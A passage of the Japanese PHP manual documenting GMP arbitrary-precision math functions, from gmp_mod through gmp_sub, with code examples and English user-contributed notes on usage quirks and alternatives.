gmp_mod — モジュロ演算

説明

gmp_mod ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

num2 を法とした num1 を計算します。結果は常に非負であり、 num2 の符号は無視されます。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

法として使用する値。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_mod() の例

<?php
$mod = gmp_mod("8", "3");
echo gmp_strval($mod) . "\n";
?>

上の例の出力は以下となります。

2

User Contributed Notes

There are no user contributed notes for this page.


数値を乗算する

  • ≪ gmp_mod
  • gmp_neg ≫
  • PHP Manual
  • GMP 関数
  • 数値を乗算する

gmp_mul

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_mul — 数値を乗算する

説明

gmp_mul ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

num1 と num2 をかけ、 結果を返します。

パラメータ

num1

num2 を掛けられる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

num1 に掛ける数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_mul() の例

<?php
$mul = gmp_mul("12345678", "2000");
echo gmp_strval($mul) . "\n";
?>

上の例の出力は以下となります。

24691356000

User Contributed Notes

06-Dec-2006 01:11
<?php
function fact($x)
{
   $factorial = 1;
   for ($i=2; $i < $x; $i++) {
       $factorial = gmp_mul($factorial, $i);
   }
   return $factorial;
}

echo gmp_strval(fact(1000)) . "\n";
?>


符号を反転する

  • ≪ gmp_mul
  • gmp_nextprime ≫
  • PHP Manual
  • GMP 関数
  • 符号を反転する

gmp_neg

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_neg — 符号を反転する

説明

gmp_neg ( GMP|int|string $num ) : GMP

ある数の符号を反転したものを返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

-num を GMP 数で返します。

例

例1 gmp_neg() の例

<?php
$neg1 = gmp_neg("1");
echo gmp_strval($neg1) . "\n";
$neg2 = gmp_neg("-1");
echo gmp_strval($neg2) . "\n";
?>

上の例の出力は以下となります。

-1
1

User Contributed Notes

There are no user contributed notes for this page.


次の素数を見つける

  • ≪ gmp_neg
  • gmp_or ≫
  • PHP Manual
  • GMP 関数
  • 次の素数を見つける

gmp_nextprime

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

gmp_nextprime — 次の素数を見つける

説明

gmp_nextprime ( GMP|int|string $num ) : GMP

次の素数を見つけます。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num より大きい次の素数を GMP 数として返します。

例

例1 gmp_nextprime() の例

<?php
$prime1 = gmp_nextprime(10); // 10 より大きい次の素数
$prime2 = gmp_nextprime(-1000); // -1000 より大きい次の素数

echo gmp_strval($prime1) . "\n";
echo gmp_strval($prime2) . "\n";
?>

上の例の出力は以下となります。

11
2

注意

注意:

この関数は素数を識別するのに確率的アルゴリズムを使用します。 誤って合成数を取得してしまうことは、まずありません。

User Contributed Notes

IceMetalPunk at gmail dot com 03-Feb-2017 04:01
Negative numbers N always have at least four factors: N*1=N and abs(N)*-1=N. Therefore, even if "natural number" weren't in the definition of a prime (which it is), no negative number would ever qualify. Therefore, the next-largest prime number to any negative number is always 2.
Tommy Lynge Jrgensen 08-Jun-2016 04:17
Prime numbers are positive, non-zero numbers that have exactly two factors. No more, no less. So testing negative numbers doesn't really make any sense.
Anonymous 09-Feb-2016 05:21
It seems gmp_nextprime on negative numbers always returns 2.


ビット OR を計算する

  • ≪ gmp_nextprime
  • gmp_perfect_power ≫
  • PHP Manual
  • GMP 関数
  • ビット OR を計算する

gmp_or

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_or — ビット OR を計算する

説明

gmp_or ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

2 つの GMP 数のビット OR を計算します。

パラメータ

num1

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_or() の例

<?php
$or1 = gmp_or("0xfffffff2", "4");
echo gmp_strval($or1, 16) . "\n";
$or2 = gmp_or("0xfffffff2", "2");
echo gmp_strval($or2, 16) . "\n";
?>

上の例の出力は以下となります。

fffffff6
fffffff2

User Contributed Notes

There are no user contributed notes for this page.


累乗数かどうかを調べる

  • ≪ gmp_or
  • gmp_perfect_square ≫
  • PHP Manual
  • GMP 関数
  • 累乗数かどうかを調べる

gmp_perfect_power

(PHP 7 >= 7.3.0, PHP 8)

gmp_perfect_power — 累乗数かどうかを調べる

説明

gmp_perfect_power ( GMP|int|string $num ) : bool

num が累乗数かどうかを調べます。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num が累乗数であった場合は true を返し、 そうでない場合は false を返します。

参考

  • gmp_perfect_square() - 平方数かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


平方数かどうかを調べる

  • ≪ gmp_perfect_power
  • gmp_popcount ≫
  • PHP Manual
  • GMP 関数
  • 平方数かどうかを調べる

gmp_perfect_square

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_perfect_square — 平方数かどうかを調べる

説明

gmp_perfect_square ( GMP|int|string $num ) : bool

その数が平方数であるかどうかを調べます。

パラメータ

num

平方数かどうかを調べたい数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num が平方数の場合に true、その他の場合に false を返します。

例

例1 gmp_perfect_square() の例

<?php
// 3 * 3、平方数です
var_dump(gmp_perfect_square("9"));

// 平方数ではありません
var_dump(gmp_perfect_square("7"));

// 1234567890 * 1234567890、平方数です
var_dump(gmp_perfect_square("1524157875019052100"));
?>

上の例の出力は以下となります。

bool(true)
bool(false)
bool(true)

参考

  • gmp_perfect_power() - 累乗数かどうかを調べる
  • gmp_sqrt() - 平方根を計算する
  • gmp_sqrtrem() - 余りつきの平方根

User Contributed Notes

There are no user contributed notes for this page.


セットされているビットの数

  • ≪ gmp_perfect_square
  • gmp_pow ≫
  • PHP Manual
  • GMP 関数
  • セットされているビットの数

gmp_popcount

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_popcount — セットされているビットの数

説明

gmp_popcount ( GMP|int|string $num ) : int

セットされているビットの数を返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

num にセットされているビットの数を返します。

例

例1 gmp_popcount() の例

<?php
$pop1 = gmp_init("10000101", 2); // 1 が 3 つ
echo gmp_popcount($pop1) . "\n";
$pop2 = gmp_init("11111110", 2); // 1 が 7 つ
echo gmp_popcount($pop2) . "\n";
?>

上の例の出力は以下となります。

3
7

User Contributed Notes

phpmanual at headbank dot co dot uk 18-Nov-2018 03:51
If you don't have gmp extension enabled (or don't want to use it for any reason), you can get popcount of an int using decbin() and substr_count().

<?php
$int1 = 133;
$bin1 = decbin($int1); // "10000101"
echo substr_count($bin1, "1");

// Result: 3
?>

Being a string-comparison this is far less efficient than gmp_popcount() (for which there is a dedicated instruction on most if not all modern processors), but may be handy if gmp is unavailable, or in non-performance-critical code that doesn't otherwise need it.


べき乗を計算する

  • ≪ gmp_popcount
  • gmp_powm ≫
  • PHP Manual
  • GMP 関数
  • べき乗を計算する

gmp_pow

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_pow — べき乗を計算する

説明

gmp_pow ( GMP|int|string $num , int $exponent ) : GMP

num の exponent 乗を計算します。

パラメータ

num

もととなる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

exponent

正の数で、num を何乗するかを指定します。

返り値

べき乗の結果を GMP 数で返します。 0^0 は 1 となります。

例

例1 gmp_pow() の例

<?php
$pow1 = gmp_pow("2", 31);
echo gmp_strval($pow1) . "\n";
$pow2 = gmp_pow("0", 0);
echo gmp_strval($pow2) . "\n";
$pow3 = gmp_pow("2", -1); // 負のべき乗を指定したため、警告を発生します
echo gmp_strval($pow3) . "\n";
?>

上の例の出力は以下となります。

2147483648
1

User Contributed Notes

rahulkadukar at yahoo dot com 16-May-2011 06:11
A Sample code can be shown as

<?php
echo gmp_strval(gmp_pow(4,4)); //This would give the answer as 256
?>


べき乗とモジュロを計算する

  • ≪ gmp_pow
  • gmp_prob_prime ≫
  • PHP Manual
  • GMP 関数
  • べき乗とモジュロを計算する

gmp_powm

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_powm — べき乗とモジュロを計算する

説明

gmp_powm ( GMP|int|string $num , GMP|int|string $exponent , GMP|int|string $modulus ) : GMP

modulus を法として (num の exponent 乗) を計算します。 exponent が負の場合、結果は未定義(undefined) となります。

パラメータ

num

もととなる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

exponent

正の数で、num を何乗するかを指定します。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

modulus

モジュロ。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

結果を GMP 数で返します。

例

例1 gmp_powm() の例

<?php
$pow1 = gmp_powm("2", "31", "2147483649");
echo gmp_strval($pow1) . "\n";
?>

上の例の出力は以下となります。

2147483648

User Contributed Notes

jessietessie256 at gmail dot com 11-Jan-2019 06:36
can be used for RSA encryption/decryption!


数が"おそらく素数"であるかどうかを調べる

  • ≪ gmp_powm
  • gmp_random_bits ≫
  • PHP Manual
  • GMP 関数
  • 数が"おそらく素数"であるかどうかを調べる

gmp_prob_prime

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_prob_prime — 数が"おそらく素数"であるかどうかを調べる

説明

gmp_prob_prime ( GMP|int|string $num , int $repetitions = 10 ) : int

この関数は、Miller-Rabin の確率的テストを使用して、 その数が素数かどうかを調べます。

パラメータ

num

素数かどうかを調べたい数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

repetitions

repetitions の合理的な値は 5 から 10 くらいまで変動します (デフォルトは 10 です)。より大きい値を指定すると、素数でない数を 「おそらく素数である」と誤認識する可能性が小さくなります。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

この関数が 0 を返す場合、num は確実に素数ではありません。 1 を返す場合、num は「おそらく」 素数です。2 を返す場合、num は確実に素数です。

例

例1 gmp_prob_prime() の例

<?php
// 明らかに素数ではありません
echo gmp_prob_prime("6") . "\n";

// おそらく素数です
echo gmp_prob_prime("1111111111111111111") . "\n";

// 明らかに素数です
echo gmp_prob_prime("11") . "\n";
?>

上の例の出力は以下となります。

0
1
2

User Contributed Notes

florin dot ciuica at yahoo dot com 26-Sep-2014 10:00
<?php
    $max = 2147483647;

    $primesFound = 0;
    $probablePrimes = 0;

    for ($x = 1; $x <= $max; $x++) {
        $primeStatus = gmp_prob_prime($x);
        if ($primeStatus == 1) {
            $probablePrimes++;
        } else if ($primeStatus == 2) {
            $primesFound++;
        }
    }
    echo "Total primes found: " . $primesFound . " between 1 and " . $max . ". Probable primes in this interval: " . $probablePrimes;
?>

Based on that the following results were obtained:

1 - 100000      - certain primes found: 9592,     probable: 0
1 - 1000000     - certain primes found: 78498,    probable: 0
1 - 10000000    - certain primes found: 78498,    probable: 586081
1 - 100000000   - certain primes found: 78498,    probable: 5682957
1 - 1000000000  - certain primes found: 78498,    probable: 50769036
1 - 2147483647  - certain primes found: 78498,    probable: 105019067


乱数を生成する

  • ≪ gmp_prob_prime
  • gmp_random_range ≫
  • PHP Manual
  • GMP 関数
  • 乱数を生成する

gmp_random_bits

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_bits — 乱数を生成する

説明

gmp_random_bits ( int $bits ) : GMP

乱数を生成します。値は 0 と (2 ** bits) - 1 の間になります。

bits は0より大きくなければならず、最大値は利用できるメモリの量次第です。

パラメータ

bits

ビット数

返り値

ランダムなGMP数を返します。

例

例1 gmp_random_bits() の例

<?php
$rand1 = gmp_random_bits(3); // random number from 0 to 7
$rand2 = gmp_random_bits(5); // random number from 0 to 31

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

上の例の出力は以下となります。

3
15

User Contributed Notes

There are no user contributed notes for this page.


乱数を生成する

  • ≪ gmp_random_bits
  • gmp_random_seed ≫
  • PHP Manual
  • GMP 関数
  • 乱数を生成する

gmp_random_range

(PHP 5 >= 5.6.3, PHP 7, PHP 8)

gmp_random_range — 乱数を生成する

説明

gmp_random_range ( GMP|int|string $min , GMP|int|string $max ) : GMP

乱数を生成します。 乱数の範囲は min と max の間です。

min と max は両方負の値を指定できますが、 min は max よりも常に小さくなければいけません。

パラメータ

min

乱数の最小値を示すGMP数

max

乱数の最大値を示すGMP数

返り値

ランダムなGMP数を返します。

例

例1 gmp_random_range() の例

<?php
$rand1 = gmp_random_range(0, 100);    // random number between 0 and 100
$rand2 = gmp_random_range(-100, -10); // random number between -100 and -10

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

上の例の出力は以下となります。

42
-67

User Contributed Notes

There are no user contributed notes for this page.


乱数シードを設定する

  • ≪ gmp_random_range
  • gmp_random ≫
  • PHP Manual
  • GMP 関数
  • 乱数シードを設定する

gmp_random_seed

(PHP 7, PHP 8)

gmp_random_seed — 乱数シードを設定する

説明

gmp_random_seed ( GMP|int|string $seed ) : void

パラメータ

seed

gmp_random(),
gmp_random_bits(),
gmp_random_range() 向けに設定するシード

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

成功した場合に null を、失敗した場合に false を返します.

エラー / 例外

seed が無効な場合は E_WARNING が発生し false を返します。

例

例1 gmp_random_seed() の例

<?php
// set the seed
gmp_random_seed(100);

var_dump(gmp_strval(gmp_random(1)));

// set the seed to something else
gmp_random_seed(gmp_init(-100));

var_dump(gmp_strval(gmp_random_bits(10)));

// set the seed to something invalid
var_dump(gmp_random_seed('not a number'));

上の例の出力は以下となります。

string(20) "15370156633245019617"
string(3) "683"

Warning: gmp_random_seed(): Unable to convert variable to GMP - string is not an integer in %s on line %d
bool(false)

参考

  • gmp_init() - GMP 数を作成する
  • gmp_random() - 乱数を生成する
  • gmp_random_bits() - 乱数を生成する
  • gmp_random_range() - 乱数を生成する

User Contributed Notes

There are no user contributed notes for this page.


乱数を生成する

  • ≪ gmp_random_seed
  • gmp_root ≫
  • PHP Manual
  • GMP 関数
  • 乱数を生成する

gmp_random

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

gmp_random — 乱数を生成する

警告

この関数は PHP 7.2.0 で 非推奨 になり、PHP 8.0.0 で 削除 されました。この関数に頼らないことを強く推奨します。

説明

gmp_random ( int $limiter = 20 ) : GMP

乱数を生成します。乱数の範囲は 0 と (2 ** n) - 1 の間です。 n は limb * limiter のビット数になります。 limiter が負の場合、負の値が生成されます。

limb は GMP の内部機構です。limb のビット数は固定ではなく、 システムによって変化します。一般的には limb は 16 あるいは 32 ビットですが、それが保証されているわけではありません。

パラメータ

limiter

リミッタ。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

ランダムな GMP 数を返します。

例

例1 gmp_random() の例

<?php
$rand1 = gmp_random(1); // 0 から 1 * limb のビット数までの間の乱数
$rand2 = gmp_random(2); // 0 から 2 * limb のビット数までの間の乱数

echo gmp_strval($rand1) . "\n";
echo gmp_strval($rand2) . "\n";
?>

上の例の出力は以下となります。

1915834968
8642564075890328087

User Contributed Notes

asphp at dsgml dot com 27-Mar-2016 03:48
Warning: Do not use this function.

Use gmp_random_bits() or gmp_random_range() instead.

The documentation and the code for this function do NOT match, and in any case this function is quite useless.


n乗根の整数部を返す

  • ≪ gmp_random
  • gmp_rootrem ≫
  • PHP Manual
  • GMP 関数
  • n乗根の整数部を返す

gmp_root

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_root — n乗根の整数部を返す

説明

gmp_root ( GMP|int|string $num , int $nth ) : GMP

num の nth 乗根を計算し、 その整数部を返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

nth

num の正のべき乗根

返り値

結果の整数部をGMP数として返します。

User Contributed Notes

There are no user contributed notes for this page.


n乗根の整数部分と小数部分を返す

  • ≪ gmp_root
  • gmp_scan0 ≫
  • PHP Manual
  • GMP 関数
  • n乗根の整数部分と小数部分を返す

gmp_rootrem

(PHP 5 >= 5.6.0, PHP 7, PHP 8)

gmp_rootrem — n乗根の整数部分と小数部分を返す

説明

gmp_rootrem ( GMP|int|string $num , int $nth ) : array

num の nth 乗根を計算し、 整数部分と小数部分を返します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

nth

num の正のn乗根

返り値

ふたつの要素の配列を返します。 最初の要素はn乗根の整数部分、ふたつめの要素は小数部分です。 両方ともGMP数として表現されます。

User Contributed Notes

There are no user contributed notes for this page.


0 を探す

  • ≪ gmp_rootrem
  • gmp_scan1 ≫
  • PHP Manual
  • GMP 関数
  • 0 を探す

gmp_scan0

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan0 — 0 を探す

説明

gmp_scan0 ( GMP|int|string $num1 , int $start ) : int

ビット start から最上位ビットの方に、 最初のクリアビットが見付かるまで num1 をスキャンします。

パラメータ

num1

スキャンする数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

start

開始するビット。

返り値

ビットが見つかった場所のインデックスを整数値で返します。 インデックスは 0 から始まります。

例

例1 gmp_scan0() の例

<?php
// 0 番目から探しはじめ、3 番目の位置に "0" ビットが見つかります
$s1 = gmp_init("10111", 2);
echo gmp_scan0($s1, 0) . "\n";

// 5 番目から探しはじめ、7 番目の位置に "0" ビットが見つかります
$s2 = gmp_init("101110000", 2);
echo gmp_scan0($s2, 5) . "\n";
?>

上の例の出力は以下となります。

3
7

User Contributed Notes

There are no user contributed notes for this page.


1 を探す

  • ≪ gmp_scan0
  • gmp_setbit ≫
  • PHP Manual
  • GMP 関数
  • 1 を探す

gmp_scan1

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_scan1 — 1 を探す

説明

gmp_scan1 ( GMP|int|string $num1 , int $start ) : int

ビット start から最上位ビットの方に、 セットされているビットが最初に見付かるまで num1 をスキャンします。

パラメータ

num1

スキャンする数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

start

開始するビット。

返り値

ビットが見つかった場所のインデックスを整数値で返します。 セットされているビットが存在しない場合には -1 を返します。

例

例1 gmp_scan1() の例

<?php
// 0 番目から探しはじめ、3 番目の位置に "1" ビットが見つかります
$s1 = gmp_init("01000", 2);
echo gmp_scan1($s1, 0) . "\n";

// 5 番目から探しはじめ、9 番目の位置に "1" ビットが見つかります
$s2 = gmp_init("01000001111", 2);
echo gmp_scan1($s2, 5) . "\n";
?>

上の例の出力は以下となります。

3
9

User Contributed Notes

There are no user contributed notes for this page.


ビットを設定する

  • ≪ gmp_scan1
  • gmp_sign ≫
  • PHP Manual
  • GMP 関数
  • ビットを設定する

gmp_setbit

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_setbit — ビットを設定する

説明

gmp_setbit ( GMP $num , int $index , bool $value = true ) : void

num のビット index を設定します。

パラメータ

num

変更したい値。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

index

設定するビットのインデックス。0 は最下位ビットを表します。

value

true にするとそのビットを設定し (値を 1/on にし)、 false にするとそのビットをクリアします (値を 0/off にします)。

返り値

GMP オブジェクトを返します。

例

例1 gmp_setbit() の例 - インデックス 0

<?php
$a = gmp_init("2"); //
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0); // 0b10 が 0b11 になります
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

上の例の出力は以下となります。

2 -> 0b10
3 -> 0b11

例2 gmp_setbit() の例 - インデックス 1

<?php
$a = gmp_init("0xfd");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 1); // インデックスは 0 から始まります
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

上の例の出力は以下となります。

253 -> 0b11111101
255 -> 0b11111111

例3 gmp_setbit() の例 - ビットのクリア

<?php
$a = gmp_init("0xff");
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
gmp_setbit($a, 0, false); // インデックス 0 のビットをクリアします
echo gmp_strval($a), ' -> 0b', gmp_strval($a, 2), "\n";
?>

上の例の出力は以下となります。

255 -> 0b11111111
254 -> 0b11111110

注意

注意:

他の大半の GMP 関数とは異なり、gmp_setbit() は必ず既存の GMP オブジェクト (例えば gmp_init() を使用して取得したもの) を使用してコールしなければなりません。 リソースは自動的には作成されません。

参考

  • gmp_clrbit() - ビットをクリアする
  • gmp_testbit() - ビットが設定されているかどうかを調べる

User Contributed Notes

bluej100@gmail 27-Jul-2007 09:07
The third parameter is somewhat confusingly named; it would probably be better described as "$set_state". If true, it sets the bit to 1. If false, it sets the bit to 0. Default is true.

<?php
$num = gmp_init(1);
gmp_setbit($num, 1);
echo 'gmp_setbit(1, 1): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 1, true);
echo 'gmp_setbit(1, 1, true): '.gmp_strval($num, 2)."\n"; // 11

$num = gmp_init(1);
gmp_setbit($num, 0, false);
echo 'gmp_setbit(1, 0, false): '.gmp_strval($num, 2)."\n"; // 0
?>


数の符号

  • ≪ gmp_setbit
  • gmp_sqrt ≫
  • PHP Manual
  • GMP 関数
  • 数の符号

gmp_sign

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sign — 数の符号

説明

gmp_sign ( GMP|int|string $num ) : int

数の符号を調べます。

パラメータ

num

PHP 5.5 より前のバージョンでは、GMP数の resource、 PHP 5.6 以降では GMP オブジェクトまたは int に変換可能な数値形式の文字列。

返り値

num が正の場合に 1、 num が負の場合に -1、そして num がゼロの場合に 0 を返します。

例

例1 gmp_sign() の例

<?php
// 正
echo gmp_sign("500") . "\n";

// 負
echo gmp_sign("-500") . "\n";

// ゼロ
echo gmp_sign("0") . "\n";
?>

上の例の出力は以下となります。

1
-1
0

参考

  • gmp_abs() - 絶対値
  • abs() - 絶対値

User Contributed Notes

Andrew Martin 18-Jul-2017 01:28
Using a spaceship in PHP7:

<?php
$sign = $number <=> 0;
?>
web-develop at yandex dot ru 19-Feb-2016 11:35
Just
$sign = ($a==0 ?0 :$a/abs($a));
jdyerjdyer 18-Nov-2015 05:04
For conciseness or golfing ;)

$s=$n<0|-($n>0)

where $s sign is 1 if positive, -1 if negative, otherwise -0 or +0 which is still 0
Andrew Martin 03-Oct-2014 03:11
Another way for those without GMP:

<?php
function sign($number) {
    return $number / abs($number ?: 1);
}
?>
gri501r at yandex dot ru 19-Sep-2014 12:00
May be it's bug :
     gmp_sign(1) returns 'false'
krees 03-Apr-2014 10:37
You can also do this:
<?php
$sign = min(1, max(-1, $a));
?>
thomas at zilliox dot me 21-Oct-2011 03:11
Hi !

If you don't have the GMP extension, the sign function is really simple to code.
Here an example of implementation :

<?php
function sign( $number ) {
    return ( $number > 0 ) ? 1 : ( ( $number < 0 ) ? -1 : 0 );
}

echo sign( 500 ); // Return 1
echo sign( -500 ); // Return -1
echo sign( 0 ); // Return 0
?>

Thomas.


平方根を計算する

  • ≪ gmp_sign
  • gmp_sqrtrem ≫
  • PHP Manual
  • GMP 関数
  • 平方根を計算する

gmp_sqrt

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrt — 平方根を計算する

説明

gmp_sqrt ( GMP|int|string $num ) : GMP

num の平方根を計算します。

パラメータ

num

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

平方根の整数部分を GMP 数で返します。

例

例1 gmp_sqrt() の例

<?php
$sqrt1 = gmp_sqrt("9");
$sqrt2 = gmp_sqrt("7");
$sqrt3 = gmp_sqrt("1524157875019052100");

echo gmp_strval($sqrt1) . "\n";
echo gmp_strval($sqrt2) . "\n";
echo gmp_strval($sqrt3) . "\n";
?>

上の例の出力は以下となります。

3
2
1234567890

User Contributed Notes

There are no user contributed notes for this page.


余りつきの平方根

  • ≪ gmp_sqrt
  • gmp_strval ≫
  • PHP Manual
  • GMP 関数
  • 余りつきの平方根

gmp_sqrtrem

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sqrtrem — 余りつきの平方根

説明

gmp_sqrtrem ( GMP|int|string $num ) : array

ある数の平方根を余りつきで計算します。

パラメータ

num

平方根を計算したい数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

最初の要素が num の整数平方根 (gmp_sqrt()も参照ください)、2 番目の要素が余り (すなわち、num と最初の要素の 2 乗の差) であるような配列を返します。

例

例1 gmp_sqrtrem() の例

<?php
list($sqrt1, $sqrt1rem) = gmp_sqrtrem("9");
list($sqrt2, $sqrt2rem) = gmp_sqrtrem("7");
list($sqrt3, $sqrt3rem) = gmp_sqrtrem("1048576");

echo gmp_strval($sqrt1) . ", " . gmp_strval($sqrt1rem) . "\n";
echo gmp_strval($sqrt2) . ", " . gmp_strval($sqrt2rem) . "\n";
echo gmp_strval($sqrt3) . ", " . gmp_strval($sqrt3rem) . "\n";
?>

上の例の出力は以下となります。

3, 0
2, 3
1024, 0

User Contributed Notes

There are no user contributed notes for this page.


GMP 数を文字列に変換する

  • ≪ gmp_sqrtrem
  • gmp_sub ≫
  • PHP Manual
  • GMP 関数
  • GMP 数を文字列に変換する

gmp_strval

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_strval — GMP 数を文字列に変換する

説明

gmp_strval ( GMP|int|string $num , int $base = 10 ) : string

GMP 数を base を基数とする文字列表現に変換します。 デフォルトの基数は 10 です。

パラメータ

num

文字列の変換したい GMP 数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

base

返り値の基数。デフォルトは 10 です。 基数として使用可能な値は 2 から 62 までおよび -2 から -36 までです。

返り値

数を文字列で表したものを返します。

例

例1 GMP 数を文字列に変換する

<?php
$a = gmp_init("0x41682179fbf5");
printf("10 進数: %s, 36 進数: %s", gmp_strval($a), gmp_strval($a,36));
?>

User Contributed Notes

Anonymous 21-Jan-2020 07:18
casting to string seems to do the same (for base10) and it's much faster

(string) $num

instead of

gmp_strval($num)
Nitrogen 29-Nov-2015 11:56
It may be worth noting that using gmp_strval can slow your script down a lot with large numbers.

This script for example, produces factorials in succession:
<?php

$start = microtime(TRUE);

$fact = gmp_init(1, 10);
for($i=1;$i<100000;$i++) { // calculates 100,000 factorials
  $fact = gmp_mul($fact, $i); // $fact is now the result of the $ith factorial
  // gmp_strval($fact, 10); // see below...
  if(microtime(TRUE)-$start>1) // stop calculating after 1 second
    break;
}
// print whatever result that took 1 second to complete
printf("\$i = %d\n\$fact = %s\n", gmp_strval($fact, 10));

?>

My server calculates around about the 69,500th factorial on average every time. Uncommenting that gmp_strval line slows this process down dramatically, and only calculates about 5,000 factorials. This is about 14 times longer than before (this is consistent with allowing it to run for any number of seconds, not just 1).

Nitrogen.
russell dot s dot harper at gmail dot com 26-May-2010 10:22
A gotcha when using the value from gmp_strval as a key in an associative array. Some numbers are 2^31 are converted to signed integer format, this is usually incorrect.

<?php

$a = gmp_init('2147483649'); // = 2^31 + 1
$b = gmp_init('3173604585'); // = 2^31 < $b < 2^32

$c = gmp_strval($a);
$d = gmp_strval($b);

$e = array($c => 'c', $d => 'd');

print '*** Expect '."\n";
print 'Array '."\n".'('."\n".'    ['.$c.'] => c'."\n".'    ['.$d.'] => d'."\n".')'."\n\n";
print '*** Actual '."\n";
print_r($e);

?>

Output:

*** Expect
Array
(
    [2147483649] => c
    [3173604585] => d
)

*** Actual
Array
(
    [-2147483647] => c
    [3173604585] => d
)

A workaround is to format as base 16 and append '0x' before using as a key.
php at richardneill dot org 19-Sep-2006 04:47
I think it's no longer necessary to worry about trailing nulls. This was fixed in Feb 2002 (see bug 10133)
caldwell at utm dot NoSpamPlease dot edu 22-Jul-2001 08:17
Warning: gmp_strval may return a null terminated string (e.g., gmp_strval(gmp_init(8)) has two characters. This is because gmp is built for speed, so uses estimates based on things it can get quickly, like the number of bits in N. So since 8 is a 4 bit number, it will be allocated ceil(log10(2^4))=ceil(4*0.30103....) = 2 characters. The gmp folks feel it is the caller's responsibility (in this case the PHP interface) to check whether or not all the characters were required.  PHP might have done this for us (and may in the future), but for now, you need to check (if it matters to you--it sure did in my program!).


数値の減算

  • ≪ gmp_strval
  • gmp_testbit ≫
  • PHP Manual
  • GMP 関数
  • 数値の減算

gmp_sub

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

gmp_sub — 数値の減算

説明

gmp_sub ( GMP|int|string $num1 , GMP|int|string $num2 ) : GMP

num1 から num2 を引いた結果を返します。

パラメータ

num1

引かれる数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

num2

num1 から引く数。

GMP オブジェクト、整数、あるいは数値に変換可能な数値形式の文字列。

返り値

GMP オブジェクトを返します。

例

例1 gmp_sub() の例

<?php
$sub = gmp_sub("281474976710656", "4294967296"); // 2^48 - 2^32
echo gmp_strval($sub) . "\n";
?>

上の例の出力は以下となります。

281470681743360

User Contributed Notes

There are no user contributed notes for this page.


ビットが設定されているかどうかを調べる

  • ≪ gmp_sub
  • gmp_xor ≫
  • PHP Manual
  • GMP 関数
  • ビットが設定されているかどうかを調べる

gmp_testbit

